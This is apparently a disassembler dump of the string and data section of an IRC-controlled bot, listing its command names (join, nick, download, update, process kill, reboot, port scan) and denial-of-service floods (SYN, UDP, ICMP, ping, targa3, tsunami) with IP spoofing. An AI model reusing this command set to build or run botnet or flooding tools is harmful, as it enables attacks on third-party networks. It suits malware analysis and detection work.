		db 6Ch,	75h, 73h
		db  68h	; h
		db 44h,	6Eh, 73h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5failedToFlush	db '5Failed to flush DNS cache.',0
unk_420750	db    2			; DATA XREF: sub_40997B+33DBo
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  46h	; F
		db 6Ch,	75h, 73h
		db  68h	; h
		db 44h,	6Eh, 73h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5dnsCacheFlush	db '5DNS cache flushed.',0
dword_42077C	dd 32310302h, 3531035Bh, 6E616353h, 36C6C41h, 0F5D3231h
					; DATA XREF: sub_40997B+3337o
		dd 35310320h, 6C696146h, 74206465h, 7473206Fh, 20747261h
		dd 6E616373h, 72687420h, 2C646165h, 72726520h, 203A726Fh
		dd 25323103h, 35310364h, 2Eh
dword_4207C4	dd 32310302h, 3531035Bh, 6E616353h, 36C6C41h, 0F5D3231h
					; DATA XREF: sub_40997B+32C6o
		dd 35310320h, 50207325h, 2074726Fh, 6E616353h, 61747320h
		dd 64657472h, 206E6F20h, 25323103h, 64253A73h, 20353103h
		dd 68746977h, 64206120h, 79616C65h, 20666F20h, 25323103h
		dd 35310364h, 63657320h, 73646E6Fh, 726F6620h, 32310320h
		dd 31036425h, 696D2035h, 6574756Eh, 73752073h, 20676E69h
		dd 25323103h, 35310364h, 72687420h, 73646165h, 2Eh
unk_420850	db    2			; DATA XREF: sub_40997B+2FCCo
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  53h	; S
		db 63h,	61h, 6Eh
		db  41h	; A
		db 2 dup(6Ch), 3
		db  31h	; 1
		db 32h,	5Dh, 0Fh
		db  20h
		db 3, 31h, 35h
		db  41h	; A
		db 6Ch,	72h, 65h
		db  61h	; a
		db 64h,	79h, 20h
		db    3
		db 31h,	32h, 25h
		db  64h	; d
		db 3, 31h, 35h
aScanningThread	db ' scanning threads. Too many specified.',0
		align 10h
dword_4208A0	dd 32310302h, 3531035Bh, 46706455h, 646F6F6Ch, 5D323103h
					; DATA XREF: sub_40997B+2F3Ao
		dd 3103200Fh, 69614635h, 2064656Ch, 73206F74h, 74726174h
		dd 6F6C6620h, 7420646Fh, 61657268h, 65202C64h, 726F7272h
		dd 3103203Ah, 3642532h,	2E3531h
dword_4208E8	dd 32310302h, 3531035Bh, 46706455h, 646F6F6Ch, 5D323103h
					; DATA XREF: sub_40997B+2ECBo
		dd 3103200Fh, 6E655335h, 676E6964h, 32310320h, 31036425h
		dd 61702035h, 74656B63h, 6F742073h, 3103203Ah, 3732532h
		dd 202E3531h, 6B636150h, 73207465h, 3A657A69h, 32310320h
		dd 31036425h, 44202C35h, 79616C65h, 3103203Ah, 3642532h
		dd 6D283531h, 2E2973h
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40997B+2E03o
		align 4
dword_42096C	dd 32310302h, 3531035Bh, 676E6950h, 6F6F6C46h, 32310364h
					; DATA XREF: sub_40997B+2DEEo
		dd 3200F5Dh, 61463531h,	64656C69h, 206F7420h, 72617473h
		dd 6C662074h, 20646F6Fh, 65726874h, 202C6461h, 6F727265h
		dd 3203A72h, 64253231h,	2E353103h, 0
dword_4209B8	dd 32310302h, 3531035Bh, 676E6950h, 6F6F6C46h, 32310364h
					; DATA XREF: sub_40997B+2D7Fo
		dd 3200F5Dh, 65533531h,	6E69646Eh, 31032067h, 3642532h
		dd 70203531h, 73676E69h, 206F7420h, 25323103h, 35310373h
		dd 6170202Eh, 74656B63h, 7A697320h, 3203A65h, 64253231h
		dd 2C353103h, 6D697420h, 74756F65h, 3103203Ah, 3642532h
		dd 6D283531h, 2E2973h
dword_420A24	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+2CD4o
		dd 63694E35h, 6863206Bh, 65676E61h, 6F742064h, 327203Ah
		dd 73253231h, 27353103h, 2Eh
dword_420A58	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+2CB6o
		dd 696F4A35h, 2064656Eh, 6E616863h, 3A6C656Eh, 31032720h
		dd 3732532h, 2E273531h,	0
dword_420A8C	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+2C91o
		dd 72615035h, 20646574h, 6E616863h, 3A6C656Eh, 31032720h
		dd 3732532h, 2E273531h,	0
dword_420AC0	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+2C73o
		dd 43524935h, 77615220h, 3103203Ah, 3732532h, 2E3531h
dword_420AE8	dd 0A0D7325h, 0		; DATA XREF: sub_40997B+2C64o
dword_420AF0	dd 32310302h, 3531035Bh, 65726854h, 3736461h, 0F5D3231h
					; DATA XREF: sub_40997B:loc_40C56Co
		dd 35310320h, 6C696146h, 74206465h, 696B206Fh, 74206C6Ch
		dd 61657268h, 3203A64h,	73253231h, 2E353103h, 0
dword_420B2C	dd 32310302h, 3531035Bh, 65726854h, 3736461h, 0F5D3231h
					; DATA XREF: sub_40997B+2BEAo
		dd 35310320h, 6C6C694Bh, 74206465h, 61657268h, 3203A64h
		dd 73253231h, 2E353103h, 0
unk_420B60	db    2			; DATA XREF: sub_40997B:loc_40C51Eo
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  54h	; T
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 3
		db  31h	; 1
		db 32h,	5Dh, 0Fh
		db  20h
		db 3, 31h, 35h
aNoActiveThread	db 'No active threads found.',0
		align 4
dword_420B94	dd 32310302h, 3531035Bh, 65726854h, 3736461h, 0F5D3231h
					; DATA XREF: sub_40997B+2B99o
		dd 35310320h, 706F7453h, 3A646570h, 32310320h, 31036425h
		dd 68742035h, 64616572h, 2E297328h, 0
dword_420BCC	dd 6C6C61h		; DATA XREF: sub_40997B+2B7Fo
dword_420BD0	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+2B72o
		dd 72655335h, 20726576h, 6E616863h, 20646567h, 203A6F74h
		dd 32310327h, 31037325h, 2E2735h
dword_420C04	dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh
					; DATA XREF: sub_40997B:loc_40C4D0o
		dd 61463531h, 64656C69h, 206F7420h, 6D726574h, 74616E69h
		dd 72702065h, 7365636Fh, 3203A73h, 73253231h, 353103h
dword_420C40	dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh
					; DATA XREF: sub_40997B+2B4Bo
		dd 72503531h, 7365636Fh, 696B2073h, 64656C6Ch, 3103203Ah
		dd 3732532h, 3531h
dword_420C70	dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh
					; DATA XREF: sub_40997B:loc_40C477o
		dd 61463531h, 64656C69h, 206F7420h, 6D726574h, 74616E69h
		dd 72702065h, 7365636Fh, 44492073h, 3103203Ah, 3732532h
		dd 3531h
dword_420CB0	dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh
					; DATA XREF: sub_40997B+2AF5o
		dd 72503531h, 7365636Fh, 696B2073h, 64656C6Ch, 3A444920h
		dd 32310320h, 31037325h, 35h
dword_420CE4	dd 32310302h, 3531035Bh, 6C697455h, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B:loc_40C400o
		dd 6E614335h, 746F4E20h, 6C654420h, 20657465h, 25323103h
		dd 73h
dword_420D10	dd 32310302h, 3531035Bh, 6C697455h, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+2A7Eo
		dd 6C654435h, 64657465h, 31032720h, 3732532h, 2E273531h
		dd 0
dword_420D3C	dd 32310302h, 3531035Bh, 6372694Dh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B:loc_40C3DFo
		dd 6D6F4335h, 646E616Dh, 6E657320h, 2E74h
unk_420D60	db    2			; DATA XREF: sub_40997B+2A5Ao
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  4Dh	; M
		db 69h,	72h, 63h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5clientNotOpen	db '5Client not open.',0
		align 4
dword_420D88	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+2A19o
		dd 74654735h, 74736F68h, 3103203Ah, 3732532h, 2E3531h
unk_420DB0	db    2			; DATA XREF: sub_40997B+29D7o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  6Eh	; n
		db 2 dup(30h), 62h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5unableToExtra	db '5Unable to extract Gethost command.',0
dword_420DE8	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+29BBo
		dd 74654735h, 74736F68h, 3103203Ah, 3732532h, 202C3531h
		dd 6D6D6F43h, 3A646E61h, 32310320h, 31037325h, 35h
dword_420E24	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40997B+298Fo
dword_420E34	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+293Ao
		dd 69725035h, 67736D76h, 3103203Ah, 3A732532h, 3732520h
		dd 2E3531h
dword_420E60	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+28DDo
		dd 74634135h, 3A6E6F69h, 32310320h, 203A7325h, 31037325h
		dd 2E35h
dword_420E8C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40997B+28B9o
dword_420E98	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+2868o
		dd 63794335h, 2E656Ch
dword_420EB4	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40997B+2830o
					; sub_40997B+2C80o
dword_420EC0	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+2809o
		dd 646F4D35h, 68632065h, 65676E61h, 3103203Ah, 3732532h
		dd 3531h
dword_420EEC	dd 45444F4Dh, 0D732520h, 0Ah ; DATA XREF: sub_40997B+27FAo
dword_420EF8	dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+27CFo
		dd 69614635h, 2064656Ch, 73206F74h, 74726174h, 61637320h
		dd 6874206Eh, 64616572h, 7265202Ch, 3A726F72h, 32310320h
		dd 31036425h, 2E35h
dword_420F3C	dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+2760o
		dd 20732535h, 74726F50h, 61635320h, 7473206Eh, 65747261h
		dd 6E6F2064h, 32310320h, 253A7325h, 35310364h, 74697720h
		dd 20612068h, 616C6564h, 666F2079h, 32310320h, 31036425h
		dd 65732035h, 646E6F63h, 6F662073h, 31032072h, 3642532h
		dd 6D203531h, 74756E69h, 75207365h, 676E6973h, 32310320h
		dd 31036425h, 68742035h, 64616572h, 2E73h
aSequential	db 'Sequential',0       ; DATA XREF: sub_40997B+2735o
					; sub_40997B+329Bo
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_40997B+272Eo
					; sub_40997B+3294o
		align 4
unk_420FD8	db    2			; DATA XREF: sub_40997B:loc_40BE8Do
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  53h	; S
		db 63h,	61h, 6Eh
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5failedToStart	db '5Failed to start scan, no IP specified.',0
unk_421014	db    2			; DATA XREF: sub_40997B:loc_40BD1Ao
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  53h	; S
		db 63h,	61h, 6Eh
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5failedToSta_0	db '5Failed to start scan, port is invalid.',0
unk_421050	db    2			; DATA XREF: sub_40997B+22ADo
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  53h	; S
		db 63h,	61h, 6Eh
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
		db  35h	; 5
		db 41h,	6Ch, 72h
		db  65h	; e
		db 61h,	64h, 79h
		db  20h
		db 3, 31h, 32h
		db  25h	; %
		db 64h,	3, 31h
a5ScanningThrea	db '5 scanning threads. Too many specified.',0
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40997B+2236o
aNb32_m		db 'nb32.m',0           ; DATA XREF: sub_40997B+21FBo
		align 4
aNb32_mode	db 'nb32.mode',0        ; DATA XREF: sub_40997B+21E4o
		align 4
aNb32_cy	db 'nb32.cy',0          ; DATA XREF: sub_40997B+21CDo
aNb32_cycle	db 'nb32.cycle',0       ; DATA XREF: sub_40997B+21B6o
		align 4
aNb32_ac	db 'nb32.ac',0          ; DATA XREF: sub_40997B+219Fo
aNb32_action	db 'nb32.action',0      ; DATA XREF: sub_40997B+2188o
aNb32_pm	db 'nb32.pm',0          ; DATA XREF: sub_40997B+2171o
aNb32_privmsg	db 'nb32.privmsg',0     ; DATA XREF: sub_40997B+215Ao
		align 4
aNb32_gh	db 'nb32.gh',0          ; DATA XREF: sub_40997B+2131o
aNb32_gethost	db 'nb32.gethost',0     ; DATA XREF: sub_40997B+211Ao
		align 10h
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40997B+20ECo
					; sub_40997B+2103o
		align 4
aCom_del	db 'com.del',0          ; DATA XREF: sub_40997B+20D5o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40997B+20BEo
		align 10h
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40997B+20A7o
		align 4
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40997B+2090o
		align 4
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40997B+2079o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40997B+2062o
		align 4
aNb32_se	db 'nb32.se',0          ; DATA XREF: sub_40997B+204Bo
aNb32_setserve	db 'nb32.setserve',0    ; DATA XREF: sub_40997B+2034o
		align 10h
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40997B+201Do
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40997B+2006o
		align 4
aNb32_ra	db 'nb32.ra',0          ; DATA XREF: sub_40997B+1FEFo
aNb32_raw	db 'nb32.raw',0         ; DATA XREF: sub_40997B+1FD8o
		align 10h
aNb32_pt	db 'nb32.pt',0          ; DATA XREF: sub_40997B+1FC1o
aNb32_part	db 'nb32.part',0        ; DATA XREF: sub_40997B+1FAAo
		align 4
aNb32_j		db 'nb32.j',0           ; DATA XREF: sub_40997B+1F93o
		align 4
aNb32_join	db 'nb32.join',0        ; DATA XREF: sub_40997B+1F7Co
		align 4
aNb32_n		db 'nb32.n',0           ; DATA XREF: sub_40997B+1F65o
		align 10h
aNb32_nick	db 'nb32.nick',0        ; DATA XREF: sub_40997B+1F4Eo
		align 4
aP:					; DATA XREF: sub_40997B+1F37o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_40997B+1F20o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_40997B+1F09o
		align 4
aU:					; DATA XREF: sub_40997B+1EF2o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_40997B+1EDBo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_40997B+1EC4o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_40997B+1EADo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_40997B+1E96o
dword_421220	dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h
					; DATA XREF: sub_40997B+1E75o
		dd 3103200Fh, 69614635h, 2064656Ch, 73206F74h, 74726174h
		dd 61727420h, 6566736Eh, 68742072h, 64616572h, 7265202Ch
		dd 3A726F72h, 32310320h, 31036425h, 2E35h
dword_42126C	dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h
					; DATA XREF: sub_40997B+1E04o
		dd 3103200Fh, 776F4435h, 616F6C6Eh, 676E6964h, 4C525520h
		dd 3103203Ah, 3732532h,	74203531h, 3203A6Fh, 73253231h
		dd 2E353103h, 0
unk_4212B0	db    2			; DATA XREF: sub_40997B:loc_40B675o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  55h	; U
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	3, 31h
		db  32h	; 2
		db 5Dh,	0Fh, 20h
		db    3
a15botIdMustBeD	db '15Bot ID must be different than current running process.',0
		align 10h
dword_421300	dd 32310302h, 3531035Bh, 61647055h, 31036574h, 200F5D32h
					; DATA XREF: sub_40997B+1CEAo
		dd 46353103h, 656C6961h, 6F742064h, 61747320h, 64207472h
		dd 6C6E776Fh, 2064616Fh, 65726874h, 202C6461h, 6F727265h
		dd 3203A72h, 64253231h,	2E353103h, 0
dword_42134C	dd 32310302h, 3531035Bh, 61647055h, 31036574h, 200F5D32h
					; DATA XREF: sub_40997B+1C79o
		dd 44353103h, 6C6E776Fh, 6964616Fh, 7520676Eh, 74616470h
		dd 72662065h, 203A6D6Fh, 25323103h, 2E73h
dword_421384	dd 73257325h, 6578652Eh, 0 ; DATA XREF:	sub_40997B+1BF6o
dword_421390	dd 32310302h, 3531035Bh, 6F6D6552h, 31036576h, 200F5D32h
					; DATA XREF: sub_40997B+1B30o
		dd 52353103h, 766F6D65h, 20676E69h, 2E746F42h, 0
dword_4213B8	dd 645361h		; DATA XREF: sub_40997B+1AD0o
dword_4213BC	dd 706963h		; DATA XREF: sub_40997B+1AA7o
aCurrentip	db 'currentip',0        ; DATA XREF: sub_40997B+1A90o
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40997B+1A79o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40997B+1A62o
		align 4
unk_4213E8	db    2			; DATA XREF: sub_40997B+1A50o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  6Eh	; n
		db 2 dup(30h), 62h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5loginListComp	db '5Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40997B+1A1Do
					; sub_40E293+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40997B:loc_40B38Bo
dword_421424	dd 32310302h, 3531035Bh, 69676F4Ch, 694C206Eh, 31037473h
					; DATA XREF: sub_40997B+19E8o
		dd 0F5D32h
dword_42143C	dd 3233626Eh, 6F68772Eh, 0 ; DATA XREF:	sub_40997B+19CBo
dword_421448	dd 2E6D6F63h, 7075h	; DATA XREF: sub_40997B+19B4o
dword_421450	dd 2E6D6F63h, 69747075h, 656Dh ; DATA XREF: sub_40997B+199Do
aWonk		db 'wonk',0             ; DATA XREF: sub_40997B+1986o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_40997B+196Fo
		align 10h
dword_421470	dd 32310302h, 3531035Bh, 53796B53h, 31036E79h, 200F5D32h
					; DATA XREF: sub_40997B+1962o
		dd 46353103h, 656C6961h, 6F742064h, 61747320h, 66207472h
		dd 646F6F6Ch, 72687420h, 2C646165h, 72726520h, 203A726Fh
		dd 25323103h, 35310364h, 2Eh
dword_4214B8	dd 32310302h, 3531035Bh, 53796B53h, 31036E79h, 200F5D32h
					; DATA XREF: sub_40997B+18F3o
		dd 46353103h, 646F6F6Ch, 3A676E69h, 32310320h, 3A732528h
		dd 3297325h, 66203531h,	320726Fh, 73253231h, 20353103h
		dd 6F636573h, 2E73646Eh, 0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_40997B+185Bo
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_40997B+1844o
aSynflood	db 'synflood',0         ; DATA XREF: sub_40997B+182Do
		align 4
dword_421518	dd 32310302h, 3531035Bh, 64736957h, 31036D6Fh, 200F5D32h
					; DATA XREF: sub_40997B+17EEo
		dd 46353103h, 656C6961h, 6F742064h, 61747320h, 66207472h
		dd 646F6F6Ch, 72687420h, 2C646165h, 72726520h, 203A726Fh
		dd 25323103h, 35310364h, 2Eh
dword_421560	dd 64736977h, 752E6D6Fh, 7064h ; DATA XREF: sub_40997B+170Fo
dword_42156C	dd 6E7374h		; DATA XREF: sub_40997B+16B3o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_40997B+169Co
aT3		db 't3',0               ; DATA XREF: sub_40997B+1685o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_40997B+166Eo
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_40997B+1657o
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_40997B+1640o
		align 4
dword_421598	dd 32310302h, 3531035Bh, 64736957h, 31036D6Fh, 200F5D32h
					; DATA XREF: sub_40997B+1624o
		dd 53353103h, 666F6F70h, 20504920h, 20746573h, 27206F74h
		dd 25323103h, 35310373h, 2E27h
unk_4215CC	db    2			; DATA XREF: sub_40997B+1606o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  57h	; W
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	3, 31h
		db  32h	; 2
		db 5Dh,	0Fh, 20h
		db    3
		db 31h,	35h, 27h
		db    3
		db 31h,	32h, 25h
		db  73h	; s
		db 3, 31h, 35h
aIsAnInvalidIpA	db 27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_40997B+15E2o
		align 4
dword_421614	dd 32310302h, 3531035Bh, 64736957h, 31036D6Fh, 200F5D32h
					; DATA XREF: sub_40997B:loc_40AF0Co
		dd 53353103h, 666F6F70h, 20676E69h, 72727563h, 6C746E65h
		dd 65732079h, 6F742074h, 31032720h, 3732532h, 2E273531h
		dd 0
dword_421654	dd 746567h		; DATA XREF: sub_40997B:loc_40AEEEo
unk_421658	db    2			; DATA XREF: sub_40997B+153Bo
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  57h	; W
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	3, 31h
		db  32h	; 2
		db 5Dh,	0Fh, 20h
		db    3
a15spoofingDisa	db '15Spoofing disabled.',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40997B+1524o
aSpoof		db 'spoof',0            ; DATA XREF: sub_40997B+1509o
		align 10h
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40997B+14F2o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40997B+14DBo
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40997B+14C4o
		align 4
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40997B+14ADo
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40997B+1496o
		align 10h
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40997B+147Fo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40997B+1468o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40997B+1451o
		align 4
aNb32_lg	db 'nb32.lg',0          ; DATA XREF: sub_40997B+143Ao
aNb32_log	db 'nb32.log',0         ; DATA XREF: sub_40997B+1423o
		align 4
aNb32_al	db 'nb32.al',0          ; DATA XREF: sub_40997B+140Co
aNb32_aliases	db 'nb32.aliases',0     ; DATA XREF: sub_40997B+13F5o
		align 4
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40997B+13DEo
		align 10h
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40997B+13C7o
		align 10h
aCom_r		db 'com.r',0            ; DATA XREF: sub_40997B+13B0o
		align 4
aCom_restart	db 'com.restart',0      ; DATA XREF: sub_40997B+1399o
unk_421744	db    2			; DATA XREF: sub_40997B+1365o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  6Eh	; n
		db 2 dup(30h), 62h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5failedToReboo	db '5Failed to reboot system.',0
		align 4
unk_421774	db    2			; DATA XREF: sub_40997B+135Eo
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  6Eh	; n
		db 2 dup(30h), 62h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5rebootingSyst	db '5Rebooting system.',0
		align 4
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40997B+1347o
		align 4
aNb32_i		db 'nb32.i',0           ; DATA XREF: sub_40997B+1330o
		align 10h
aNb32_id	db 'nb32.id',0          ; DATA XREF: sub_40997B+1319o
aNb32_s		db 'nb32.s',0           ; DATA XREF: sub_40997B+1302o
		align 10h
aNb32_status	db 'nb32.status',0      ; DATA XREF: sub_40997B+12EBo
aNb32_q		db 'nb32.q',0           ; DATA XREF: sub_40997B+12D4o
		align 4
aNb32_quit	db 'nb32.quit',0        ; DATA XREF: sub_40997B+12BDo
		align 10h
aNb32_d		db 'nb32.d',0           ; DATA XREF: sub_40997B+12A6o
		align 4
aNb32_disconnec	db 'nb32.disconnect',0  ; DATA XREF: sub_40997B+128Fo
aNb32_r		db 'nb32.r',0           ; DATA XREF: sub_40997B+1278o
		align 10h
aNb32_reconnect	db 'nb32.reconnect',0   ; DATA XREF: sub_40997B+1261o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_40997B+124Ao
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_40997B+1233o
		align 4
dword_42181C	dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 0Fh
					; DATA XREF: sub_40997B+1226o
aScan		db 'Scan',0             ; DATA XREF: sub_40997B+1221o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_40997B+1208o
		align 4
dword_421844	dd 32310302h, 3531035Bh, 75636553h, 31036572h, 0F5D32h
					; DATA XREF: sub_40997B+11FBo
aSecure		db 'Secure',0           ; DATA XREF: sub_40997B+11F6o
		align 10h
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40997B+11DDo
		align 10h
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40997B+11C6o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40997B+11AFo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_40997B+1184o
		align 4
dword_421898	dd 32310302h, 3531035Bh, 3706455h, 0F5D3231h, 0
					; DATA XREF: sub_40997B+1177o
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_40997B+1159o
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_40997B+112Eo
		align 10h
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_40997B+1103o
unk_4218CC	db    2			; DATA XREF: sub_40997B+10E7o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  44h	; D
		db 44h,	6Fh, 53h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
aAllPacketingAc	db ' All packeting activity has been halted.',0
		align 4
dword_421908	dd 32310302h, 3531035Bh, 64736957h, 31036D6Fh, 0F5D32h
					; DATA XREF: sub_40997B+10ACo
					; sub_40997B+114Co
dword_42191C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_40997B+10A7o
					; sub_40997B+1147o
dword_42192C	dd 32310302h, 3531035Bh, 6E757354h, 3696D61h, 0F5D3231h
					; DATA XREF: sub_40997B+108Eo
					; sub_40997B+1121o
		dd 0
dword_421944	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_40997B+1089o
					; sub_40997B+111Co
dword_421954	dd 32310302h, 3531035Bh, 676E6950h, 6F6F6C46h, 32310364h
					; DATA XREF: sub_40997B+102Eo
					; sub_40997B+11A2o
		dd 0F5Dh
dword_42196C	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40997B+1029o
					; sub_40997B+119Do
dword_421978	dd 32310302h, 3531035Bh, 46706455h, 646F6F6Ch, 5D323103h
					; DATA XREF: sub_40997B+1010o
		dd 0Fh
dword_421990	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40997B+100Bo
					; sub_40997B+1172o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_40997B+FAEo
		align 4
dword_4219A8	dd 32310302h, 3531035Bh, 6B6E6F57h, 5D323103h, 0Fh
					; DATA XREF: sub_40997B+FA1o
					; sub_40997B+106Do
dword_4219BC	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_40997B+F9Co
					; sub_40997B+1068o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_40997B+F83o
		align 4
dword_4219D4	dd 32310302h, 3531035Bh, 67726154h, 31033361h, 0F5D32h
					; DATA XREF: sub_40997B+F76o
					; sub_40997B+104Fo
dword_4219E8	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_40997B+F71o
					; sub_40997B+104Ao
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_40997B+F58o
		align 4
dword_421A04	dd 32310302h, 3531035Bh, 53796B53h, 31036E79h, 0F5D32h
					; DATA XREF: sub_40997B+F4Bo
					; sub_40997B+10CDo
dword_421A18	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_40997B+F46o
					; sub_40997B+10C8o
